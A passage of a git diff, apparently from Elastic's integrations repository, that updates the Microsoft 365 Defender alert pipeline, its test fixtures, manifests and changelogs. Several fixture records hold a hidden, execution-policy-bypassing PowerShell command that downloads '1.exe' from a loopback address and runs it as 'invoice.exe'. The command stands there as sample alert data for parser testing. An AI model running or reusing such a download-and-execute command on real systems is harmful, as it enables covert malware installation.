ime":"2024-10-20T09:53:10.1933333Z","verdict":"suspicious","remediationStatus":"none","remediationStatusDetails":null,"roles":[],"detailedRoles":[],"tags":[],"url":"http:\/\/127.0.0.1\/1.exe"},{"@odata.type":"#microsoft.graph.security.ipEvidence","createdDateTime":"2024-10-20T09:53:10.1933333Z","verdict":"suspicious","remediationStatus":"none","remediationStatusDetails":null,"roles":[],"detailedRoles":[],"tags":[],"ipAddress":"127.0.0.1","countryLetterCode":null},{"@odata.type":"#microsoft.graph.security.processEvidence","createdDateTime":"2024-10-20T09:53:10.1933333Z","verdict":"unknown","remediationStatus":"none","remediationStatusDetails":null,"roles":[],"detailedRoles":[],"tags":[],"processId":8224,"parentProcessId":5772,"processCommandLine":"powershell.exe -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden $ErrorActionPreference= 'silentlycontinue';(New-Object System.Net.WebClient).DownloadFile('http:\/\/127.0.0.1\/1.exe', 'C:\\\\test-WDATP-test\\\\invoice.exe');Start-Process 'C:\\\\test-WDATP-test\\\\invoice.exe'","processCreationDateTime":"2024-10-20T09:51:39.4997961Z","parentProcessCreationDateTime":"2024-10-20T09:51:19.5064237Z","detectionStatus":"detected","mdeDeviceId":"505d70d89cfa3428f7aac7d2eb3a64c60fd3d843","imageFile":{"sha1":"a72c41316307889e43fe8605a0dca4a72e72a011","sha256":"d783ba6567faf10fdff2d0ea3864f6756862d6c733c7f4467283da81aedc3a80","fileName":"powershell.exe","filePath":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0","fileSize":491520,"filePublisher":"Microsoft Corporation","signer":null,"issuer":null},"parentProcessImageFile":{"sha1":null,"sha256":null,"fileName":"cmd.exe","filePath":"C:\\Windows\\System32","fileSize":323584,"filePublisher":"Microsoft Corporation","signer":null,"issuer":null},"userAccount":{"accountName":"CDPUserIS-38411","domainName":"AzureAD","userSid":"S-1-12-1-1485667349-1150190949-4065799612-2328216759","azureAdUserId":null,"userPrincipalName":null,"displayName":null}}]}
{"@odata.context":"https://graph.microsoft.com/v1.0/$metadata#security/alerts_v2","value":[]}
\ No newline at end of file
diff --git a/packages/m365_defender/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json b/packages/m365_defender/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json
index 02ca1ced784..ecc8b4a03a3 100644
--- a/packages/m365_defender/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json
+++ b/packages/m365_defender/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json
@@ -266,6 +266,287 @@
]
}
},
+ {
+ "@timestamp": "2024-10-20T09:54:07.503Z",
+ "cloud": {
+ "account": {
+ "id": "3adb963c-8e61-48e8-a06d-6dbb0dacea39"
+ }
+ },
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "email": {
+ "local_id": [
+ "c26dbea0-80d5-463b-b93c-4e8b708219ce"
+ ],
+ "message_id": [
+ "81ce15$8r2j59@mail01.example.com"
+ ]
+ },
+ "event": {
+ "action": [
+ "detected"
+ ],
+ "category": [
+ "host",
+ "iam",
+ "network",
+ "process"
+ ],
+ "created": "2024-10-20T09:53:09.883Z",
+ "duration": 2478000000,
+ "end": "2024-10-20T09:51:41.993Z",
+ "id": "daefa1828b-dd4e-405c-8a3b-aa28596830dd_2",
+ "kind": "alert",
+ "original": "{\"id\":\"daefa1828b-dd4e-405c-8a3b-aa28596830dd_2\",\"providerAlertId\":\"efa1828b-dd4e-405c-8a3b-aa28596830dd_2\",\"incidentId\":\"33\",\"status\":\"new\",\"severity\":\"medium\",\"classification\":null,\"determination\":null,\"serviceSource\":\"microsoftDefenderForEndpoint\",\"detectionSource\":\"microsoftDefenderForEndpoint\",\"productName\":\"Microsoft Defender for Endpoint\",\"detectorId\":\"7f1c3609-a3ff-40e2-995b-c01770161d68\",\"tenantId\":\"3adb963c-8e61-48e8-a06d-6dbb0dacea39\",\"title\":\"Suspicious PowerShell command line\",\"description\":\"A suspicious PowerShell activity was observed on the machine. \\nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.\",\"recommendedActions\":\"1. Examine the PowerShell command line to understand what commands were executed. Note: the content may need to be decoded if it is Base64-encoded.\\n2. Search the script for more indicators to investigate - for example IP addresses (potential C&C servers), target computers etc.\\n3. Explore the timeline of this and other related machines for additional suspect activities around the time of the alert.\\n4. Look for the process that invoked this PowerShell run and their origin. Consider submitting any suspect files in the chain for deep analysis for detailed behavior information.\",\"category\":\"Execution\",\"assignedTo\":null,\"alertWebUrl\":\"https:\\/\\/security.microsoft.com\\/alerts\\/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39\",\"incidentWebUrl\":\"https:\\/\\/security.microsoft.com\\/incidents\\/23?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39\",\"actorDisplayName\":null,\"threatDisplayName\":null,\"threatFamilyName\":null,\"mitreTechniques\":[\"T1059.001\"],\"createdDateTime\":\"2024-10-20T09:53:09.8839373Z\",\"lastUpdateDateTime\":\"2024-10-20T09:54:07.5033333Z\",\"resolvedDateTime\":null,\"firstActivityDateTime\":\"2024-10-20T09:51:39.5154802Z\",\"lastActivityDateTime\":\"2024-10-20T09:51:41.9939003Z\",\"alertPolicyId\":null,\"additionalData\":null,\"comments\":[],\"evidence\":[{\"internetMessageId\":\"81ce15$8r2j59@mail01.example.com\",\"networkMessageId\":\"c26dbea0-80d5-463b-b93c-4e8b708219ce\",\"senderIp\": \"81.2.69.142\",\"@odata.type\":\"#microsoft.graph.security.deviceEvidence\",\"createdDateTime\":\"2024-10-20T09:53:10.1933333Z\",\"verdict\":\"unknown\",\"remediationStatus\":\"none\",\"remediationStatusDetails\":null,\"roles\":[],\"detailedRoles\":[\"PrimaryDevice\"],\"tags\":[],\"firstSeenDateTime\":\"2024-10-20T09:50:17.7383987Z\",\"mdeDeviceId\":\"505d70d89cfa3428f7aac7d2eb3a64c60fd3d843\",\"azureAdDeviceId\":\"f18bd540-d5e4-46e0-8ddd-3d03a59e4e14\",\"deviceDnsName\":\"clw555test\",\"osPlatform\":\"Windows11\",\"osBuild\":22621,\"version\":\"22H2\",\"healthStatus\":\"inactive\",\"riskScore\":\"high\",\"rbacGroupId\":0,\"rbacGroupName\":null,\"onboardingStatus\":\"onboarded\",\"defenderAvStatus\":\"notSupported\",\"ipInterfaces\":[\"192.168.5.65\",\"fe80::cfe4:80b:615c:38fb\",\"127.0.0.1\",\"::1\"],\"vmMetadata\":null,\"loggedOnUsers\":[{\"accountName\":\"CDPUserIS-38411\",\"domainName\":\"AzureAD\"}]},{\"@odata.type\":\"#microsoft.graph.security.userEvidence\",\"createdDateTime\":\"2024-10-20T09:53:10.1933333Z\",\"verdict\":\"unknown\",\"remediationStatus\":\"none\",\"remediationStatusDetails\":null,\"roles\":[],\"detailedRoles\":[],\"tags\":[],\"userAccount\":{\"accountName\":\"CDPUserIS-38411\",\"domainName\":\"AzureAD\",\"userSid\":\"S-1-12-1-1485667349-1150190949-4065799612-2328216759\",\"azureAdUserId\":null,\"userPrincipalName\":null,\"displayName\":null}},{\"@odata.type\":\"#microsoft.graph.security.urlEvidence\",\"createdDateTime\":\"2024-10-20T09:53:10.1933333Z\",\"verdict\":\"suspicious\",\"remediationStatus\":\"none\",\"remediationStatusDetails\":null,\"roles\":[],\"detailedRoles\":[],\"tags\":[],\"url\":\"http:\\/\\/127.0.0.1\\/1.exe\"},{\"@odata.type\":\"#microsoft.graph.security.ipEvidence\",\"createdDateTime\":\"2024-10-20T09:53:10.1933333Z\",\"verdict\":\"suspicious\",\"remediationStatus\":\"none\",\"remediationStatusDetails\":null,\"roles\":[],\"detailedRoles\":[],\"tags\":[],\"ipAddress\":\"127.0.0.1\",\"countryLetterCode\":null},{\"@odata.type\":\"#microsoft.graph.security.processEvidence\",\"createdDateTime\":\"2024-10-20T09:53:10.1933333Z\",\"verdict\":\"unknown\",\"remediationStatus\":\"none\",\"remediationStatusDetails\":null,\"roles\":[],\"detailedRoles\":[],\"tags\":[],\"processId\":8224,\"parentProcessId\":5772,\"processCommandLine\":\"powershell.exe -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden $ErrorActionPreference= 'silentlycontinue';(New-Object System.Net.WebClient).DownloadFile('http:\\/\\/127.0.0.1\\/1.exe', 'C:\\\\\\\\test-WDATP-test\\\\\\\\invoice.exe');Start-Process 'C:\\\\\\\\test-WDATP-test\\\\\\\\invoice.exe'\",\"processCreationDateTime\":\"2024-10-20T09:51:39.4997961Z\",\"parentProcessCreationDateTime\":\"2024-10-20T09:51:19.5064237Z\",\"detectionStatus\":\"detected\",\"mdeDeviceId\":\"505d70d89cfa3428f7aac7d2eb3a64c60fd3d843\",\"imageFile\":{\"sha1\":\"a72c41316307889e43fe8605a0dca4a72e72a011\",\"sha256\":\"d783ba6567faf10fdff2d0ea3864f6756862d6c733c7f4467283da81aedc3a80\",\"fileName\":\"powershell.exe\",\"filePath\":\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\",\"fileSize\":491520,\"filePublisher\":\"Microsoft Corporation\",\"signer\":null,\"issuer\":null},\"parentProcessImageFile\":{\"sha1\":null,\"sha256\":null,\"fileName\":\"cmd.exe\",\"filePath\":\"C:\\\\Windows\\\\System32\",\"fileSize\":323584,\"filePublisher\":\"Microsoft Corporation\",\"signer\":null,\"issuer\":null},\"userAccount\":{\"accountName\":\"CDPUserIS-38411\",\"domainName\":\"AzureAD\",\"userSid\":\"S-1-12-1-1485667349-1150190949-4065799612-2328216759\",\"azureAdUserId\":null,\"userPrincipalName\":null,\"displayName\":null}}]}",
+ "provider": "microsoftDefenderForEndpoint",
+ "severity": 3,
+ "start": "2024-10-20T09:51:39.515Z",
+ "type": [
+ "info"
+ ],
+ "url": "https://security.microsoft.com/alerts/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39"
+ },
+ "host": {
+ "id": [
+ "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843"
+ ],
+ "ip": [
+ "127.0.0.1"
+ ],
+ "os": {
+ "name": [
+ "Windows11"
+ ],
+ "version": [
+ "22H2"
+ ]
+ }
+ },
+ "m365_defender": {
+ "alert": {
+ "category": "Execution",
+ "created_datetime": "2024-10-20T09:53:09.883Z",
+ "description": "A suspicious PowerShell activity was observed on the machine. \nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.",
+ "detection_source": "microsoftDefenderForEndpoint",
+ "detector_id": "7f1c3609-a3ff-40e2-995b-c01770161d68",
+ "evidence": [
+ {
+ "azure_ad_device_id": "f18bd540-d5e4-46e0-8ddd-3d03a59e4e14",
+ "created_datetime": "2024-10-20T09:53:10.193Z",
+ "defender_av_status": "notSupported",
+ "detailed_roles": [
+ "PrimaryDevice"
+ ],
+ "device_dns_name": "clw555test",
+ "first_seen_datetime": "2024-10-20T09:50:17.738Z",
+ "health_status": "inactive",
+ "ip_interfaces": [
+ "192.168.5.65",
+ "fe80::cfe4:80b:615c:38fb",
+ "127.0.0.1",
+ "::1"
+ ],
+ "logged_on_users": [
+ {
+ "account_name": "CDPUserIS-38411",
+ "domain_name": "AzureAD"
+ }
+ ],
+ "mde_device_id": "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843",
+ "odata_type": "#microsoft.graph.security.deviceEvidence",
+ "onboarding_status": "onboarded",
+ "os_build": "22621",
+ "os_platform": "Windows11",
+ "rbac_group": {
+ "id": "0"
+ },
+ "remediation_status": "none",
+ "risk_score": "high",
+ "sender_ip": "81.2.69.142",
+ "verdict": "unknown",
+ "version": "22H2"
+ },
+ {
+ "created_datetime": "2024-10-20T09:53:10.193Z",
+ "odata_type": "#microsoft.graph.security.userEvidence",
+ "remediation_status": "none",
+ "user_account": {
+ "account_name": "CDPUserIS-38411",
+ "domain_name": "AzureAD",
+ "user_sid": "S-1-12-1-1485667349-1150190949-4065799612-2328216759"
+ },
+ "verdict": "unknown"
+ },
+ {
+ "created_datetime": "2024-10-20T09:53:10.193Z",
+ "odata_type": "#microsoft.graph.security.urlEvidence",
+ "remediation_status": "none",
+ "url": "http://127.0.0.1/1.exe",
+ "verdict": "suspicious"
+ },
+ {
+ "created_datetime": "2024-10-20T09:53:10.193Z",
+ "ip_address": "127.0.0.1",
+ "odata_type": "#microsoft.graph.security.ipEvidence",
+ "remediation_status": "none",
+ "verdict": "suspicious"
+ },
+ {
+ "created_datetime": "2024-10-20T09:53:10.193Z",
+ "detection_status": "detected",
+ "image_file": {
+ "name": "powershell.exe",
+ "path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0",
+ "publisher": "Microsoft Corporation",
+ "sha1": "a72c41316307889e43fe8605a0dca4a72e72a011",
+ "sha256": "d783ba6567faf10fdff2d0ea3864f6756862d6c733c7f4467283da81aedc3a80",
+ "size": 491520
+ },
+ "mde_device_id": "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843",
+ "odata_type": "#microsoft.graph.security.processEvidence",
+ "parent_process": {
+ "creation_datetime": "2024-10-20T09:51:19.506Z",
+ "id": 5772,
+ "image_file": {
+ "name": "cmd.exe",
+ "path": "C:\\Windows\\System32",
+ "publisher": "Microsoft Corporation",
+ "size": 323584
+ }
+ },
+ "process": {
+ "command_line": "powershell.exe -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden $ErrorActionPreference= 'silentlycontinue';(New-Object System.Net.WebClient).DownloadFile('http://127.0.0.1/1.exe', 'C:\\\\test-WDATP-test\\\\invoice.exe');Start-Process 'C:\\\\test-WDATP-test\\\\invoice.exe'",
+ "creation_datetime": "2024-10-20T09:51:39.499Z",
+ "id": 8224
+ },
+ "remediation_status": "none",
+ "user_account": {
+ "account_name": "CDPUserIS-38411",
+ "domain_name": "AzureAD",
+ "user_sid": "S-1-12-1-1485667349-1150190949-4065799612-2328216759"
+ },
+ "verdict": "unknown"
+ }
+ ],
+ "first_activity_datetime": "2024-10-20T09:51:39.515Z",
+ "id": "daefa1828b-dd4e-405c-8a3b-aa28596830dd_2",
+ "incident_id": "33",
+ "incident_web_url": {
+ "domain": "security.microsoft.com",
+ "original": "https://security.microsoft.com/incidents/23?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39",
+ "path": "/incidents/23",
+ "query": "tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39",
+ "scheme": "https"
+ },
+ "last_activity_datetime": "2024-10-20T09:51:41.993Z",
+ "last_update_datetime": "2024-10-20T09:54:07.503Z",
+ "mitre_techniques": [
+ "T1059.001"
+ ],
+ "provider_alert_id": "efa1828b-dd4e-405c-8a3b-aa28596830dd_2",
+ "recommended_actions": "1. Examine the PowerShell command line to understand what commands were executed. Note: the content may need to be decoded if it is Base64-encoded.\n2. Search the script for more indicators to investigate - for example IP addresses (potential C&C servers), target computers etc.\n3. Explore the timeline of this and other related machines for additional suspect activities around the time of the alert.\n4. Look for the process that invoked this PowerShell run and their origin. Consider submitting any suspect files in the chain for deep analysis for detailed behavior information.",
+ "service_source": "microsoftDefenderForEndpoint",
+ "severity": "medium",
+ "status": "new",
+ "tenant_id": "3adb963c-8e61-48e8-a06d-6dbb0dacea39",
+ "title": "Suspicious PowerShell command line",
+ "web_url": {
+ "domain": "security.microsoft.com",
+ "original": "https://security.microsoft.com/alerts/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39",
+ "path": "/alerts/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1",
+ "query": "tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39",
+ "scheme": "https"
+ }
+ }
+ },
+ "message": "A suspicious PowerShell activity was observed on the machine. \nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.",
+ "process": {
+ "command_line": [
+ "powershell.exe -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden $ErrorActionPreference= 'silentlycontinue';(New-Object System.Net.WebClient).DownloadFile('http://127.0.0.1/1.exe', 'C:\\\\test-WDATP-test\\\\invoice.exe');Start-Process 'C:\\\\test-WDATP-test\\\\invoice.exe'"
+ ],
+ "hash": {
+ "sha1": [
+ "a72c41316307889e43fe8605a0dca4a72e72a011"
+ ],
+ "sha256": [
+ "d783ba6567faf10fdff2d0ea3864f6756862d6c733c7f4467283da81aedc3a80"
+ ]
+ },
+ "parent": {
+ "pid": [
+ 5772
+ ],
+ "start": [
+ "2024-10-20T09:51:19.506Z"
+ ]
+ },
+ "pid": [
+ 8224
+ ],
+ "start": [
+ "2024-10-20T09:51:39.499Z"
+ ],
+ "user": {
+ "name": [
+ "CDPUserIS-38411"
+ ]
+ }
+ },
+ "related": {
+ "hash": [
+ "a72c41316307889e43fe8605a0dca4a72e72a011",
+ "d783ba6567faf10fdff2d0ea3864f6756862d6c733c7f4467283da81aedc3a80"
+ ],
+ "hosts": [
+ "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843",
+ "Windows11",
+ "22H2",
+ "clw555test",
+ "AzureAD"
+ ],
+ "ip": [
+ "81.2.69.142",
+ "127.0.0.1"
+ ],
+ "user": [
+ "CDPUserIS-38411",
+ "S-1-12-1-1485667349-1150190949-4065799612-2328216759"
+ ]
+ },
+ "source": {
+ "ip": [
+ "81.2.69.142"
+ ]
+ },
+ "tags": [
+ "preserve_original_event",
+ "preserve_duplicate_custom_fields"
+ ],
+ "threat": {
+ "tactic": {
+ "name": [
+ "Execution"
+ ]
+ },
+ "technique": {
+ "subtechnique": {
+ "id": [
+ "T1059.001"
+ ]
+ }
+ }
+ },
+ "user": {
+ "domain": [
+ "AzureAD"
+ ],
+ "name": [
+ "CDPUserIS-38411"
+ ]
+ }
+ },
null
]
}
diff --git a/packages/m365_defender/data_stream/alert/elasticsearch/ingest_pipeline/default.yml b/packages/m365_defender/data_stream/alert/elasticsearch/ingest_pipeline/default.yml
index 36f4ed16642..ba80d2cc8c8 100644
--- a/packages/m365_defender/data_stream/alert/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/m365_defender/data_stream/alert/elasticsearch/ingest_pipeline/default.yml
@@ -15,6 +15,11 @@ processors:
target_field: event.original
ignore_missing: true
if: ctx.event?.original == null
+ - remove:
+ field: message
+ ignore_missing: true
+ if: 'ctx.event?.original != null'
+ description: 'The `message` field is no longer required if the document has an `event.original` field.'
- json:
field: event.original
tag: json_event_original
@@ -643,24 +648,24 @@ processors:
ignore_missing: true
- foreach:
field: json.evidence
- tag: foreach_rename_evidence_internetMessageId
+ tag: foreach_append_evidence_internetMessageId
if: ctx.json?.evidence instanceof List
processor:
- rename:
- field: _ingest._value.internetMessageId
- tag: rename_foreach_evidence_internetMessageId
- target_field: _ingest._value.internet_message_id
- ignore_missing: true
+ append:
+ field: email.message_id
+ tag: append_foreach_evidence_email_message_id
+ value: '{{{_ingest._value.internetMessageId}}}'
+ allow_duplicates: false
- foreach:
field: json.evidence
- tag: foreach_rename_evidence_networkMessageId
+ tag: foreach_append_evidence_networkMessageId
if: ctx.json?.evidence instanceof List
processor:
- rename:
- field: _ingest._value.networkMessageId
- tag: rename_foreach_evidence_networkMessageId
- target_field: _ingest._value.network_message_id
- ignore_missing: true
+ append:
+ field: email.local_id
+ tag: append_foreach_evidence_email_local_id
+ value: '{{{_ingest._value.networkMessageId}}}'
+ allow_duplicates: false
- foreach:
field: json.evidence
tag: foreach_dot_expander_evidence_p1Sender
@@ -761,6 +766,16 @@ processors:
tag: append_foreach_evidence_email_from_adress
value: '{{{_ingest._value.p1_sender.email_address}}}'
allow_duplicates: false
+ - foreach:
+ field: json.evidence
+ tag: foreach_evidence_append_email_sender_address
+ if: ctx.json?.evidence instanceof List
+ processor:
+ append:
+ field: email.sender.address
+ tag: append_foreach_evidence_email_sender_address
+ value: '{{{_ingest._value.p1_sender.email_address}}}'
+ allow_duplicates: false
- foreach:
field: json.evidence
tag: foreach_append_evidence_related_user_p1sender_emailaddress
@@ -858,6 +873,16 @@ processors:
- append:
field: error.message
value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+ - foreach:
+ field: json.evidence
+ tag: foreach_evidence_append_source_ip_sender_ip
+ if: ctx.json?.evidence instanceof List
+ processor:
+ append:
+ field: source.ip
+ tag: append_foreach_evidence_source_ip_sender_ip
+ value: '{{{_ingest._value.sender_ip}}}'
+ allow_duplicates: false
- foreach:
field: json.evidence
tag: foreach_evidence_append_related_ip_sender_ip
@@ -2447,6 +2472,8 @@ processors:
- _ingest._value.processId
- _ingest._value.imageFile.fileSize
- _ingest._value.parentProcessImageFile.fileSize
+ - _ingest._value.internetMessageId
+ - _ingest._value.networkMessageId
ignore_missing: true
- rename:
field: json.evidence
diff --git a/packages/m365_defender/docs/README.md b/packages/m365_defender/docs/README.md
index ab7d9aa13e9..1ed475a5fbe 100644
--- a/packages/m365_defender/docs/README.md
+++ b/packages/m365_defender/docs/README.md
@@ -8,6 +8,11 @@ Use the Microsoft 365 Defender integration to collect and parse data from the Mi
For example, you could use the data from this integration to consolidate and correlate security alerts from multiple sources. Also, by looking into the alert and incident, a user can take an appropriate action in the Microsoft 365 Defender Portal.
+## Agentless Enabled Integration
+Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html).
+
+Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments. This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features.
+
## Data streams
The Microsoft 365 Defender integration collects logs for four types of events: Alert, Event, Incident and Log.
diff --git a/packages/m365_defender/manifest.yml b/packages/m365_defender/manifest.yml
index 63d0f1dd394..a3aa4164def 100644
--- a/packages/m365_defender/manifest.yml
+++ b/packages/m365_defender/manifest.yml
@@ -1,7 +1,7 @@
-format_version: "3.0.2"
+format_version: "3.2.3"
name: m365_defender
title: Microsoft M365 Defender
-version: "2.22.1"
+version: "2.24.0"
description: Collect logs from Microsoft M365 Defender with Elastic Agent.
categories:
- "security"
@@ -11,11 +11,19 @@ conditions:
elastic:
subscription: basic
kibana:
- version: "^8.13.0 || ^9.0.0"
+ version: "^8.18.0 || ^9.0.0"
policy_templates:
- name: m365_defender
title: M365 Defender Logs
description: Collect logs from M365 Defender API
+ deployment_modes:
+ default:
+ enabled: true
+ agentless:
+ enabled: true
+ organization: security
+ division: engineering
+ team: security-service-integrations
inputs:
- type: httpjson
title: "Collect logs from M365 Defender API"
diff --git a/packages/m365_defender/validation.yml b/packages/m365_defender/validation.yml
index 9dcaa3b03ff..ddfb73e9384 100644
--- a/packages/m365_defender/validation.yml
+++ b/packages/m365_defender/validation.yml
@@ -2,4 +2,3 @@ errors:
exclude_checks:
- SVR00002 # Mandatory filters in dashboards.
- SVR00004 # References in dashboards.
- - SVR00005 # Kibana version for saved tags.
diff --git a/packages/mattermost/changelog.yml b/packages/mattermost/changelog.yml
index e55213344e4..77bac788407 100644
--- a/packages/mattermost/changelog.yml
+++ b/packages/mattermost/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "2.4.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "2.3.0"
changes:
- description: Do not remove `event.original` in main ingest pipeline.
diff --git a/packages/mattermost/manifest.yml b/packages/mattermost/manifest.yml
index 7763dc27079..b97e5f37c36 100644
--- a/packages/mattermost/manifest.yml
+++ b/packages/mattermost/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.3"
name: mattermost
title: "Mattermost"
-version: "2.3.0"
+version: "2.4.0"
description: Collect logs from Mattermost with Elastic Agent.
type: integration
categories:
@@ -9,7 +9,7 @@ categories:
- productivity_security
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
icons:
- src: /img/mattermost-logo.svg
title: Mattermost logo
diff --git a/packages/menlo/changelog.yml b/packages/menlo/changelog.yml
index 7a83d8ec296..75ba5b5112b 100644
--- a/packages/menlo/changelog.yml
+++ b/packages/menlo/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.5.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.4.1"
changes:
- description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
diff --git a/packages/menlo/manifest.yml b/packages/menlo/manifest.yml
index 7283dfab252..3d077e317eb 100644
--- a/packages/menlo/manifest.yml
+++ b/packages/menlo/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.2"
name: menlo
title: "Menlo Security"
-version: "1.4.1"
+version: "1.5.0"
source:
license: "Elastic-2.0"
description: "Collect logs from Menlo Security products with Elastic Agent"
@@ -12,7 +12,7 @@ categories:
- security
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
elastic:
subscription: "basic"
capabilities:
diff --git a/packages/microsoft_defender_cloud/changelog.yml b/packages/microsoft_defender_cloud/changelog.yml
index f1d4eb19435..a4892ae9154 100644
--- a/packages/microsoft_defender_cloud/changelog.yml
+++ b/packages/microsoft_defender_cloud/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "2.4.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "2.3.0"
changes:
- description: Add "preserve_original_event" tag to documents with `event.kind` manually set to "pipeline_error".
diff --git a/packages/microsoft_defender_cloud/manifest.yml b/packages/microsoft_defender_cloud/manifest.yml
index 22b444a9f35..7babb02ceea 100644
--- a/packages/microsoft_defender_cloud/manifest.yml
+++ b/packages/microsoft_defender_cloud/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.2"
name: microsoft_defender_cloud
title: Microsoft Defender for Cloud
-version: "2.3.0"
+version: "2.4.0"
description: Collect logs from Microsoft Defender for Cloud with Elastic Agent.
type: integration
categories:
@@ -9,7 +9,7 @@ categories:
- cloudsecurity_cdr
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
elastic:
subscription: basic
screenshots:
diff --git a/packages/microsoft_defender_endpoint/_dev/build/docs/README.md b/packages/microsoft_defender_endpoint/_dev/build/docs/README.md
index 915b46b1a16..dfc6d1a0673 100644
--- a/packages/microsoft_defender_endpoint/_dev/build/docs/README.md
+++ b/packages/microsoft_defender_endpoint/_dev/build/docs/README.md
@@ -2,6 +2,11 @@
This integration is for [Microsoft Defender for Endpoint](https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/microsoft-defender-endpoint?view=o365-worldwide) logs.
+## Agentless Enabled Integration
+Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html).
+
+Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments. This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features.
+
## Setting up
To allow the integration to ingest data from the Microsoft Defender API, you need to create a new application on your Azure domain. The procedure to create an application is found on the [Create a new Azure Application](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/exposed-apis-create-app-webapp) documentation page.
diff --git a/packages/microsoft_defender_endpoint/changelog.yml b/packages/microsoft_defender_endpoint/changelog.yml
index 8d0f47d3f8c..fc52fd96273 100644
--- a/packages/microsoft_defender_endpoint/changelog.yml
+++ b/packages/microsoft_defender_endpoint/changelog.yml
@@ -1,4 +1,14 @@
# newer versions go on top
+- version: "2.30.0"
+ changes:
+ - description: Enable Agentless deployment.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12901
+- version: "2.29.0"
+ changes:
+ - description: Add support for Kibana `9.0.0`
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12886
- version: "2.28.0"
changes:
- description: Allow the usage of deprecated log input and support for stack 9.0
diff --git a/packages/microsoft_defender_endpoint/docs/README.md b/packages/microsoft_defender_endpoint/docs/README.md
index 6143851476b..18b4b110af2 100644
--- a/packages/microsoft_defender_endpoint/docs/README.md
+++ b/packages/microsoft_defender_endpoint/docs/README.md
@@ -2,6 +2,11 @@
This integration is for [Microsoft Defender for Endpoint](https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/microsoft-defender-endpoint?view=o365-worldwide) logs.
+## Agentless Enabled Integration
+Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html).
+
